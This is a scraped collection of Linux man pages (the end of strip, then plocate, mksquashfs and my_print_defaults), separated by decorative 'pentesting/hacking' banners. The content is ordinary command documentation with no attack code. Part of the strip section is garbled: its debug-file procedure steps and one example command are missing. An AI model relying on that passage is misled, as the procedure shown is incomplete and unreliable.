Operate in deterministic mode. When copying archive members and writing the archive index, use zero for UIDs, GIDs, timestamps, and use consistent file modes for all files. If binutils was configured with –enable-deterministic-archives, then this mode is on by default. It can be disabled with the -U option, below.

-U

–disable-deterministic-archives

Do not operate in deterministic mode. This is the inverse of the -D option, above: when copying archive members and writing the archive index, use their actual UID, GID, timestamp, and file mode values. This is the default unless binutils was configured with –enable-deterministic-archives.

-w

–wildcard

Permit regular expressions in symbolnames used in other command line options. The question mark (?), asterisk (*), backslash (\ and square brackets ([]) operators can be used anywhere in the symbol name. If the first character of the symbol name is the exclamation point (!) then the sense of the switch is reversed for that symbol. For example: -w -K !foo -K fo* would cause strip to only keep symbols that start with the letters “fo”, but to discard the symbol “foo”.

-x

–discard-all

Remove non-global symbols.

-X

–discard-locals

Remove compiler-generated local symbols. (These usually start with L or ..)

–keep-section-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying section names, which would otherwise get stripped.

–keep-file-symbols
When stripping a file, perhaps with –strip-debug or –strip-unneeded, retain any symbols specifying source file names, which would otherwise get stripped.

–only-keep-debug
Strip a file, emptying the contents of any sections that would not be stripped by –strip-debug and leaving the debugging sections intact. In ELF files, this preserves all the note sections in the output as well. Note - the section headers of the stripped sections are preserved, including their sizes, but the contents of the section are discarded. The section headers are preserved so that other tools can match up the debuginfo file with the real executable, even if that executable has been relocated to a different address space. The intention is that this option will be used in conjunction with –add-gnu-debuglink to create a two part executable. One a stripped binary which will occupy less space in RAM and in a distribution and the second a debugging information file which is only needed if debugging abilities are required. The suggested procedure to create these files is as follows:

  1. foo then…

  2. create a file containing the debugging info.

  3. stripped executable.

  4. to add a link to the debugging info into the stripped executable.

Note—the choice of .dbg as an extension for the debug info file is arbitrary. Also the --only-keep-debug step is optional. You could instead do this:

i.e., the file pointed to by the –add-gnu-debuglink can be the full executable. It does not have to be a file created by the –only-keep-debug switch. Note—this switch is only intended for use on fully linked files. It does not make sense to use it on object files where the debugging information may be incomplete. Besides the gnu_debuglink feature currently only supports the presence of one filename containing debugging information, not multiple filenames on a one-per-object-file basis.

-V

–version

Show the version number for strip.

-v

–verbose

Verbose output: list all object files modified. In the case of archives, strip -v lists all members of the archive.

  1. Read command-line options from file. The options read are inserted in place of the original @file option. If file does not exist, or cannot be read, then the option will be treated literally, and not removed. Options in file are separated by whitespace. A whitespace character may be included in an option by surrounding the entire option in either single or double quotes. Any character (including a backslash) may be included by prefixing the character to be included with a backslash. The file may itself contain additional @file options; any such options will be processed recursively.

SEE ALSO

the Info entries for binutils.

COPYRIGHT

Copyright (c) 1991-2024 Free Software Foundation, Inc.

Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, with no Front-Cover Texts, and with no Back-Cover Texts. A copy of the license is included in the section entitled “GNU Free Documentation License”.

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

255 - Linux cli command locate

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command locate and provides detailed information about the command locate, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the locate.

NAME 🖥️ locate 🖥️

find files by name, quickly

SYNOPSIS

plocate [OPTION]… PATTERN…

DESCRIPTION

plocate finds all files on the system matching the given pattern (or all of the patterns if multiple are given). It does this by means of an index made by updatedb(8) or (less commonly) converted from another index by plocate-build(8).

plocate is largely argument-compatible with mlocate(1), but is significantly faster. In particular, it rarely needs to scan through its entire database, unless the pattern is very short (less than three bytes) or you want to search for a regular expression. It does not try to maintain compatibility with BSD locate, or non-UTF-8 filenames and locales. Most I/O is done asynchronously, but the results are synchronized so that output comes in the same order every time.

When multiple patterns are given, plocate will search for files that match all of them. This is the main incompatibility with mlocate(1), which searches for files that match one or more patterns, unless the -A option is given.

By default, patterns are taken to be substrings to search for. If at least one non-escaped globbing metacharacter (*, ? or []) is given, that pattern is instead taken to be a glob pattern (which means it needs to start and end in * for a substring match). If –regexp is given, patterns are instead taken to be (non-anchored) POSIX basic regular expressions, and if –regex is given, patterns are taken to be POSIX extended regular expressions. All of this matches mlocate(1) behavior.

Like mlocate(1), plocate shows all files visible to the calling user (by virtue of having read and execute permissions on all parent directories), and none that are not, by means of running with the setgid bit set to access the index (which is built as root), but by testing visibility as the calling user.

EXIT STATUS

plocate exits with 0 to indicate that a match was found or that –help or –version were passed. Otherwise, plocate exits with status code 1, indicating that an error occurred or that no matches were found.

OPTIONS

-A, –all
Ignored for compatibility with mlocate(1).

-b, –basename
Match only against the file name portion of the path name, ie., the directory names will be excluded from the match (but still printed). This does not speed up the search, but can suppress uninteresting matches.

-c, –count
Do not print each match. Instead, count them, and print out a total number at the end.

-d, –database DBPATH
Find matches in the given database, instead of /var/lib/plocate/plocate.db. This argument can be given multiple times, to search multiple databases. It is also possible to give multiple databases in one argument, separated by :. (Any character, including : and \ can be escaped by prepending a )

-e, –existing
Print only entries that refer to files existing at the time locate is run. Note that unlike mlocate(1), symlinks are not followed by default (and indeed, there is no option to change this).

-i, –ignore-case
Do a case-insensitive match as given by the current locale (default is case-sensitive, byte-by-byte match). Note that plocate does not support the full range of Unicode case folding rules; in particular, searching for ß will not give you matches on ss even in a German locale. Also note that this option will be somewhat slower than a case-sensitive match, since it needs to generate more candidates for searching the index.

-l, –limit LIMIT
Stop searching after LIMIT matches have been found. If –count is given, the number printed out will be at most LIMIT.

-N, –literal
Print entry names without quoting. Normally, plocate will escape special characters in filenames, so that they are safe for consumption by typical shells (similar to the GNU coreutils shell-escape-always quoting style), unless printing to a pipe, but this options will turn off such quoting.

-0, –null
Instead of writing a newline after every match, write a NUL (ASCII 0). This is useful for creating unambiguous output when it is to be processed by other tools (like xargs(1)), as filenames are allowed to contain embedded newlines.

-r, –regexp
Patterns are taken to be POSIX basic regular expressions. See regex(7) for more information. Note that this forces a linear scan through the entire database, which is slow.

–regex
Like –regexp, but patterns are instead taken to be POSIX extended regular expressions.

-w, –wholename
Match against the entire path name. This is the default, so unless -b is given first (see above), it will not do anything. This option thus exists only as compatibility with mlocate(1).

–help
Print out usage information, then exit successfully.

–version
Print out version information, then exit successfully.

ENVIRONMENT

LOCATE_PATH
If given, appended after the list of –database paths (whether an explicit is given or the default is used). Colon-delimiting and character escaping follows the same rules as for –database.

AUTHOR

Steinar H. Gunderson <[email protected]>

SEE ALSO

plocate-build(8), mlocate(1), updatedb(8)

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

256 - Linux cli command mksquashfs

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command mksquashfs and provides detailed information about the command mksquashfs, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the mksquashfs.

NAME 🖥️ mksquashfs 🖥️

tool to create and append to squashfs filesystems

SYNOPSIS

mksquashfs source1 source2FILESYSTEM [OPTIONS] [-e list of exclude dirs/files]

DESCRIPTION

Squashfs is a highly compressed read-only filesystem for Linux. It uses either gzip/xz/lzo/lz4/zstd compression to compress both files, inodes and directories. Inodes in the system are very small and all blocks are packed to minimise data overhead. Block sizes greater than 4K are supported up to a maximum of 1Mbytes (default block size 128K).

Squashfs is intended for general read-only filesystem use, for archival use (i.e. in cases where a .tar.gz file may be used), and in constrained block device/memory systems (e.g. embedded systems) where low overhead is needed.

OPTIONS

Filesystem compression options:

-b BLOCK_SIZE
set data block to BLOCK_SIZE. Default 128 Kbytes. Optionally a suffix of K or M can be given to specify Kbytes or Mbytes respectively.

-comp COMP
select COMP compression. Compressors available: gzip (default), lzo, lz4, xz, zstd, lzma.

-noI
do not compress inode table.

-noId
do not compress the uid/gid table (implied by -noI).

-noD
do not compress data blocks.

-noF
do not compress fragment blocks.

-noX
do not compress extended attributes.

-no-compression
do not compress any of the data or metadata. This is equivalent to specifying -noI -noD -noF and -noX.

Filesystem build options:

-tar
read uncompressed tar file from standard in (stdin).

-no-strip
act like tar, and do not strip leading directories from source files.

-tarstyle
alternative name for -no-strip.

-cpiostyle
act like cpio, and read file pathnames from standard in (stdin).

-cpiostyle0
like -cpiostyle, but filenames are null terminated. Can be used with find -print0 action.

-reproducible
build filesystems that are reproducible (default).

-not-reproducible
build filesystems that are not reproducible.

-mkfs-time TIME
set filesystem creation timestamp to TIME. TIME can be an unsigned 32-bit int indicating seconds since the epoch (1970-01-01) or a string value which is passed to the “date” command to parse. Any string value which the date command recognises can be used such as “now”, “last week”, or “Wed Feb 15 21:02:39 GMT 2023”.

-all-time TIME
set all file timestamps to TIME. TIME can be an unsigned 32-bit int indicating seconds since the epoch (1970-01-01) or a string value which is passed to the “date” command to parse. Any string value which the date command recognises can be used such as “now”, “last week”, or “Wed Feb 15 21:02:39 GMT 2023”.

-root-time TIME
set root directory time to TIME. TIME can be an unsigned 32-bit int indicating seconds since the epoch (1970-01-01) or a string value which is passed to the “date” command to parse. Any string value which the date command recognises can be used such as “now”, “last week”, or “Wed Feb 15 21:02:39 GMT 2023”.

-root-mode MODE
set root directory permissions to octal MODE.

-root-uid VALUE
set root directory owner to specified VALUE, VALUE can be either an integer uid or user name.

-root-gid VALUE
set root directory group to specified VALUE, VALUE can be either an integer gid or group name.

-all-root
make all files owned by root.

-force-uid VALUE
set all file uids to specified VALUE, VALUE can be either an integer uid or user name.

-force-gid VALUE
set all file gids to specified VALUE, VALUE can be either an integer gid or group name.

-pseudo-override
make pseudo file uids and gids override -all-root, -force-uid and -force-gid options.

-no-exports
do not make filesystem exportable via NFS (-tar default).

-exports
make filesystem exportable via NFS (default).

-no-sparse
do not detect sparse files.

-no-tailends
do not pack tail ends into fragments (default).

-tailends
pack tail ends into fragments.

-no-fragments
do not use fragments.

-no-duplicates
do not perform duplicate checking.

-no-hardlinks
do not hardlink files, instead store duplicates.

-keep-as-directory
if one source directory is specified, create a root directory containing that directory, rather than the contents of the directory.

Filesystem filter options:

-p PSEUDO-DEFINITION
add pseudo file definition. The definition should be quoted.

-pf PSEUDO-FILE
add list of pseudo file definitions from PSEUDO-FILE, use - for stdin. Pseudo file definitions should not be quoted.

-sort SORT_FILE
sort files according to priorities in SORT_FILE. One file or dir with priority per line. Priority -32768 to 32767, default priority 0.

-ef EXCLUDE_FILE
list of exclude dirs/files. One per line.

-wildcards
allow extended shell wildcards (globbing) to be used in exclude dirs/files.

-regex
allow POSIX regular expressions to be used in exclude dirs/files.

-max-depth LEVELS
descend at most LEVELS of directories when scanning filesystem.

-one-file-system
do not cross filesystem boundaries. If a directory crosses the boundary, create an empty directory for each mount point. If a file crosses the boundary ignore it.

-one-file-system-x
do not cross filesystem boundaries. Like -one-file-system option except directories are also ignored if they cross the boundary.

Filesystem extended attribute (xattrs) options:

-no-xattrs
do not store extended attributes.

-xattrs
store extended attributes (default).

-xattrs-exclude REGEX
exclude any xattr names matching REGEX. REGEX is a POSIX regular expression, e.g. -xattrs-exclude ‘^user.’ excludes xattrs from the user namespace.

-xattrs-include REGEX
include any xattr names matching REGEX. REGEX is a POSIX regular expression, e.g. -xattrs-include ‘^user.’ includes xattrs from the user namespace.

-xattrs-add NAME=VAL
add the xattr NAME with VAL to files. If an user xattr it will be added to regular files and directories (see man 7 xattr). Otherwise it will be added to all files. VAL by default will be treated as binary (i.e. an uninterpreted byte sequence), but it can be prefixed with 0s, where it will be treated as base64 encoded, or prefixed with 0x, where val will be treated as hexidecimal. Additionally it can be prefixed with 0t where this encoding is similar to binary encoding, except backslashes are specially treated, and a backslash followed by 3 octal digits can be used to encode any ASCII character, which obviously can be used to encode control codes. The option can be repeated multiple times to add multiple xattrs.

Mksquashfs runtime options:

-version
print version, licence and copyright message.

-exit-on-error
treat normally ignored errors as fatal.

-quiet
no verbose output.

-info
print files written to filesystem.

-no-progress
do not display the progress bar.

-progress
display progress bar when using the -info option.

-percentage
display a percentage rather than the full progress bar. Can be used with dialog –gauge etc.

-throttle PERCENTAGE
throttle the I/O input rate by the given percentage. This can be used to reduce the I/O and CPU consumption of Mksquashfs.

-limit PERCENTAGE
limit the I/O input rate to the given percentage. This can be used to reduce the I/O and CPU consumption of Mksquashfs (alternative to -throttle).

-processors NUMBER
use NUMBER processors. By default will use number of processors available.

-mem SIZE
use SIZE physical memory for caches. Use K, M or G to specify Kbytes, Mbytes or Gbytes respectively.

-mem-percent PERCENT
use PERCENT physical memory for caches. Default 25%.

-mem-default
print default memory usage in Mbytes.

Filesystem append options:

-noappend
do not append to existing filesystem.

-root-becomes NAME
when appending source files/directories, make the original root become a subdirectory in the new root called NAME, rather than adding the new source items to the original root.

-no-recovery
do not generate a recovery file.

-recovery-path NAME
use NAME as the directory to store the recovery file.

-recover NAME
recover filesystem data using recovery file NAME.

Filesystem actions options:

-action ACTION@EXPRESSION
evaluate EXPRESSION on every file, and execute ACTION if it returns TRUE.

-log-action ACTION@EXPRESSION
as above, but log expression evaluation results and actions performed.

-true-action ACTION@EXPRESSION
as above, but only log expressions which return TRUE.

-false-action ACTION@EXPRESSION
as above, but only log expressions which return FALSE.

-action-file FILE
as action, but read actions from FILE.

-log-action-file FILE
as -log-action, but read actions from FILE.

-true-action-file FILE
as -true-action, but read actions from FILE.

-false-action-file FILE
as -false-action, but read actions from FILE.

Tar file only options:

-default-mode MODE
tar files often do not store permissions for intermediate directories. This option sets the default directory permissions to octal MODE, rather than 0755. This also sets the root inode mode.

-default-uid UID
tar files often do not store uids for intermediate directories. This option sets the default directory owner to UID, rather than the user running Mksquashfs. This also sets the root inode uid.

-default-gid GID
tar files often do not store gids for intermediate directories. This option sets the default directory group to GID, rather than the group of the user running Mksquashfs. This also sets the root inode gid.

-ignore-zeros
allow tar files to be concatenated together and fed to Mksquashfs. Normally a tarfile has two consecutive 512 byte blocks filled with zeros which means EOF and Mksquashfs will stop reading after the first tar file on encountering them. This option makes Mksquashfs ignore the zero filled blocks.

Expert options (these may make the filesystem unmountable):

-nopad
do not pad filesystem to a multiple of 4K.

-offset OFFSET
skip OFFSET bytes at the beginning of FILESYSTEM. Optionally a suffix of K, M or G can be given to specify Kbytes, Mbytes or Gbytes respectively. Default 0 bytes.

-o OFFSET
synonym for -offset.

Miscellaneous options:

-fstime TIME
alternative name for -mkfs-time.

-always-use-fragments
alternative name for -tailends.

-root-owned
alternative name for -all-root.

-noInodeCompression
alternative name for -noI.

-noIdTableCompression
alternative name for -noId.

-noDataCompression
alternative name for -noD.

-noFragmentCompression
alternative name for -noF.

-noXattrCompression
alternative name for -noX.

-help
output this options text to stdout.

-h
output this options text to stdout.

-Xhelp
print compressor options for selected compressor.

PSEUDO FILE DEFINITION FORMAT

-p “filename d mode uid gid”
create a directory.

-p “filename m mode uid gid”
modify filename.

-p “filename b mode uid gid major minor”
create a block device.

-p “filename c mode uid gid major minor”
create a character device.

-p “filename f mode uid gid command”
create file from stdout of command.

-p “filename s mode uid gid symlink”
create a symbolic link.

-p “filename i mode uid gid [s|f]”
create a socket (s) or FIFO (f).

-p “filename x name=val”
create an extended attribute.

-p “filename l linkname”
create a hard-link to linkname.

-p “filename L pseudo_filename”
same, but link to pseudo file.

-p “filename D time mode uid gid”
create a directory with timestamp time.

-p “filename M time mode uid gid”
modify a file with timestamp time.

-p “filename B time mode uid gid major minor”
create block device with timestamp time.

-p “filename C time mode uid gid major minor”
create char device with timestamp time.

-p “filename F time mode uid gid command”
create file with timestamp time.

-p “filename S time mode uid gid symlink”
create symlink with timestamp time.

-p “filename I time mode uid gid [s|f]”
create socket/fifo with timestamp time.

COMPRESSORS AVAILABLE AND COMPRESSOR SPECIFIC OPTIONS

gzip (default):

-Xcompression-level COMPRESSION-LEVEL
COMPRESSION-LEVEL should be 1 .. 9 (default 9).

-Xwindow-size WINDOW-SIZE
WINDOW-SIZE should be 8 .. 15 (default 15).

-Xstrategy strategy1,strategy2,…,strategyN
Compress using strategy1,strategy2,…,strategyN in turn and choose the best compression. Available strategies: default, filtered, huffman_only, run_length_encoded and fixed.

lzo:

-Xalgorithm ALGORITHM
Where ALGORITHM is one of: lzo1x_1, lzo1x_1_11, lzo1x_1_12, lzo1x_1_15, lzo1x_999 (default).

-Xcompression-level COMPRESSION-LEVEL
COMPRESSION-LEVEL should be 1 .. 9 (default 8) Only applies to lzo1x_999 algorithm.

lz4:

-Xhc
Compress using LZ4 High Compression.

xz:

-Xbcj filter1,filter2,…,filterN
Compress using filter1,filter2,…,filterN in turn (in addition to no filter), and choose the best compression. Available filters: x86, arm, armthumb, powerpc, sparc, ia64.

-Xdict-size DICT-SIZE
Use DICT-SIZE as the XZ dictionary size. The dictionary size can be specified as a percentage of the block size, or as an absolute value. The dictionary size must be less than or equal to the block size and 8192 bytes or larger. It must also be storable in the xz header as either 2^n or as 2^n+2^(n+1). Example dict-sizes are 75%, 50%, 37.5%, 25%, or 32K, 16K, 8K etc.

zstd:

-Xcompression-level COMPRESSION-LEVEL
COMPRESSION-LEVEL should be 1 .. 22 (default 15).

lzma:

(no options) (deprecated - no kernel support)

ENVIRONMENT

SOURCE_DATE_EPOCH
If set, this is used as the filesystem creation timestamp. Also any file timestamps which are after SOURCE_DATE_EPOCH will be clamped to SOURCE_DATE_EPOCH. See https://reproducible-builds.org/docs/source-date-epoch/ for more information.

EXAMPLES

mksquashfs DIRECTORY IMAGE.SQFS
Create a Squashfs filesystem from the contents of DIRECTORY, writing the output to IMAGE.SQSH. Mksquashfs will use the default compressor (normally gzip), and block size of 128 Kbytes.

mksquashfs DIRECTORY FILE1 FILE2 IMAGE.SQFS
Create a Squashfs filesystem containing DIRECTORY and FILE1 and FILE2. If multiple sources are specified on the command line they will be combined into a single directory.

mksquashfs DIRECTORY IMAGE.SQFS -b 1M -comp zstd
Use a block size of 1 Mbyte and Zstandard compression to create the filesystem.

mksquashfs DIRECTORY IMAGE.SQFS -e file1 file2
Exclude file1 and file2 from DIRECTORY when creating filesystem. No wildcard matching of files.

mksquashfs DIRECTORY IMAGE.SQFS -wildcards -e “*.gz”
Exclude anything in DIRECTORY which matches the wildcard pattern “*.gz”.

mksquashfs DIRECTORY IMAGE.SQFS -wildcards -e “… *.gz”
Exclude files which match the wildcard pattern “*.gz” anywhere within DIRECTORY and its sub-directories. The initial “…” indicates the wildcard pattern is “non-anchored” and will match anywhere.

Note: when passing wildcarded names to Mksquashfs, they should be quoted (as in the above examples), to ensure that they are not processed by the shell.

Using pseudo file definitions

mksquashfs DIRECTORY IMAGE.SQFS -p “build_dir d 0644 0 0”
Create a directory called “build_dir” in the output filesystem.

mksquashfs DIRECTORY IMAGE.SQFS -p “version.txt l /tmp/build/version”
Create a reference called “version.txt” to a file outside DIRECTORY, which acts as if the file “/tmp/build/version” was copied or hard-linked into DIRECTORY before calling Mksquashfs.

mksquashfs DIRECTORY IMAGE.SQFS -p “date.txt f 0644 0 0 date”
Create a file called “date.txt” which holds the output (stdout) from running the “date” command.

mksquashfs DIRECTORY IMAGE.SQFS -p “\hello world\ f 0644 0 0 date”
As above, but, showing that filenames can have spaces, if they are quoted. The quotes need to be blackslashed to protect them from the shell.

mksquashfs - IMAGE.SQFS -p “input f 0644 root root dd if=/dev/sda1 bs=1024” -p “/ d 0644 0 0”
Create a file containing the contents of partition /dev/sda1". Ordinarily Mksquashfs given a device, fifo, or named socket will place that special file within the Squashfs filesystem, the above allows input from these special files to be captured and placed in the Squashfs filesystem. Note there are no other sources than the pseudo file, and so the command line source is “-”. If there are no other sources than pseudo files, the root (/) directory must be defined too, as seen in this example.

unsquashfs -pf - IMAGE.SQFS | mksquashfs - NEW.SQFS -pf -
Transcode IMAGE.SQFS to NEW.SQFS by piping the pseudo file output from Unsquashfs to Mksquashfs using stdout and stdin. This can convert from earlier Squashfs filesystems or change compression algorithm, block size etc. without needing to unpack into an intermediate directory or file.

Note: pseudo file definitions should be quoted (as in the above examples), to ensure that they are passed to Mksquashfs as a single argument, and to ensure that they are not processed by the shell.

Using extended attribute options

mksquashfs DIRECTORY IMAGE.SQFS -no-xattrs
Do not store any extended attributes in the Squashfs filesystem. Any extended attributes in the source files will be ignored.

mksquashfs DIRECTORY IMAGE.SQFS -xattrs-include “^user.”
Filter the extended attributes in the source files, and only store extended attributes in the user namespace in the Squashfs filesystem.

mksquashfs DIRECTORY IMAGE.SQFS -xattrs-exclude “^user.”
Filter the extended attributes in the source files, and don’t store any extended attributes in the user namespace in the Squashfs filesystem.

mksquashfs DIRECTORY IMAGE.SQFS -xattrs-add “user.comment=hello world”
Add the extended attribute called “user.comment” with the content “hello world” to all files and directories in the Squashfs filesystem.

mksquashfs DIRECTORY IMAGE.SQFS -xattrs-add “user.comment=0thello world "
Add the extended attribute called “user.comment” to all files and directories, but in this case the contents of the extended attribute will be “hello world” with a trailing newline character (012 octal).

mksquashfs DIRECTORY IMAGE.SQFS -xattrs-add “user.comment=0saGVsbG8gd29ybGQ=”
Add the extended attribute called “user.comment” to all files and directories, where the value is given in base64 encoding, representing “hello world”.

mksquashfs DIRECTORY IMAGE.SQFS -action “-xattrs-include(^user.) @ type(f)”
Filter the extended attributes but only in regular files (type f), and only store extended attributes in the user namespace.

mksquashfs DIRECTORY IMAGE.SQFS -p “hello_world x user.comment=0tsalve mundi "
Add the extended attribute called “user.comment” to the file called “hello_world”, with the contents of the extended attribute being “salve mundi” with a trailing newline character (012 octal).

Using Actions to not compress, change attributes etc.

mksquashfs DIRECTORY IMAGE.SQSH -action “uncompressed @ (name(*.jpg) || name(*.mpg) ) || (name(*.img) && filesize(+1G))”
Specify that any files matching the wildcards “*.jpg” and “*.mpg” should not be compressed. Additionally, it also specifies any files matching the wildcard “*.img” and are larger than 1 Gigabyte should be uncompressed too. This shows test operators can be combined with logical expressions.

mksquashfs DIRECTORY IMAGE.SQSH -action “chmod(o+r)@! perm(o+r)”
If any files within DIRECTORY are not readable by “others”, then make them readable by others in the Squashfs filesystem.

mksquashfs DIRECTORY IMAGE.SQSH -action “uid(phillip)@! perm(o+r)”
As previous, match on any files which are not readable by “others”, but, in this case change the owner of the file to “phillip” in the Squashfs filesystem.

mksquashfs DIRECTORY IMAGE.SQSH -action “prune @ type(l) && ! exists”
Delete any symbolic link within DIRECTORY which points outside of DIRECTORY, i.e. will be unresolvable in the Squashfs filesystem.

mksquashfs DIRECTORY IMAGE.SQSH -action “exclude @ depth(3)”
Create a Squashfs filesystem containing the two top most levels (contents of DIRECTORY and immediate sub-directories), and exclude anything at level 3 or below.

mksquashfs DIRECTORY IMAGE.SQFS -action “-xattrs-include(^user.) @ type(f)”
Filter the extended attributes but only in regular files (type f), and only store extended attributes in the user namespace.

Note: actions should be quoted (as in the above examples), to ensure that they are passed to Mksquashfs as a single argument, and to ensure that they are not processed by the shell.

AUTHOR

Written by Phillip Lougher <[email protected]>

COPYRIGHT

Copyright © 2023 Phillip Lougher <[email protected]>

This program is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation; either version 2, or (at your option) any later version.

This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

SEE ALSO

unsquashfs(1), sqfstar(1), sqfscat(1)

The README for the Squashfs-tools 4.6.1 release, describing the new features can be read here https://github.com/plougher/squashfs-tools/blob/master/README-4.6.1

The Squashfs-tools USAGE guide can be read here https://github.com/plougher/squashfs-tools/blob/master/USAGE-4.6

The ACTIONS-README file describing how to use the new actions feature can be read here https://github.com/plougher/squashfs-tools/blob/master/ACTIONS-README

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

               █║▌│║█║▌ WITH COMMANDLINE-KUNGFU POWER █║▌│║█║▌

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

257 - Linux cli command my_print_defaults

➡ A Linux man page (short for manual page) is a form of software documentation found on Linux and Unix-like operating systems. This man-page explains the command my_print_defaults and provides detailed information about the command my_print_defaults, system calls, library functions, and other aspects of the system, including usage, options, and examples of _. You can access this man page by typing man followed by the my_print_defaults.

NAME 🖥️ my_print_defaults 🖥️

display options from option files

SYNOPSIS

my_print_defaults [options] option_group

DESCRIPTION

my_print_defaults displays the options that are present in option groups of option files. The output indicates what options will be used by programs that read the specified option groups. For example, the mysqlcheck program reads the [mysqlcheck] and [client] option groups. To see what options are present in those groups in the standard option files, invoke my_print_defaults like this:

shell> my_print_defaults mysqlcheck client –user=myusername –password=secret –host=localhost

The output consists of options, one per line, in the form that they would be specified on the command line.

my_print_defaults supports the following options.

·

–help, -?

Display a help message and exit.

·

**–defaults-file=**file_name, -c file_name

Read only the given option file. If no extension is given, default extension(.ini or .cnf) will be used. If –defaults-file is the first option, then read this file only, do not read global or per-user config files; should be the first option.

·

**–debug=**debug_options, -# debug_options

Write a debugging log. A typical debug_options string is ’d:t:o,file_name’. The default is ’d:t:o,/tmp/my_print_defaults.trace'.

·

**–defaults-extra-file=**file_name, -e file_name

Read this option file after the global option file but (on Unix) before the user option file. Should be the first option.

·

**–defaults-group-suffix=**suffix, -g suffix

In addition to the groups named on the command line, read groups that have the given suffix.

·

–mariadbd

Read the same set of groups that the mariadbd binary does.

·

–mysqld

Read the same set of groups that the mysqld binary does.

·

–no-defaults, -n

Return an empty string (useful for scripts).

·

–verbose, -v

Verbose mode. Print more information about what the program does.

·

–version, -V

Display version information and exit.

COPYRIGHT

Copyright 2007-2008 MySQL AB, 2008-2010 Sun Microsystems, Inc., 2010-2020 MariaDB Foundation

This documentation is free software; you can redistribute it and/or modify it only under the terms of the GNU General Public License as published by the Free Software Foundation; version 2 of the License.

This documentation is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.

You should have received a copy of the GNU General Public License along with the program; if not, write to the Free Software Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1335 USA or see http://www.gnu.org/licenses/.

SEE ALSO

For more information, please refer to the MariaDB Knowledge Base, available online at https://mariadb.com/kb/

AUTHOR

MariaDB Foundation (http://www.mariadb.org/).

░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░

  █║▌│║█║▌★ KALI ★ PARROT ★ DEBIAN 🔴 PENTESTING ★ HACKING ★ █║▌│║█║▌

              ██╗ ██╗ ██████╗  ██████╗ ██╗  ██╗███████╗██████╗
             ████████╗██╔══██╗██╔═══██╗╚██╗██╔╝██╔════╝██╔══██╗
             ╚██╔═██╔╝██║  ██║██║   ██║ ╚███╔╝ █████╗  ██║  ██║
             ████████╗██║  ██║██║   ██║ ██╔██╗ ██╔══╝  ██║  ██║
             ╚██╔═██╔╝██████╔╝╚██████╔╝██╔╝ ██╗███████╗██████╔╝
              ╚═╝ ╚═╝ ╚═════╝  ╚═════╝ ╚═╝  ╚═╝╚══════╝╚═════╝

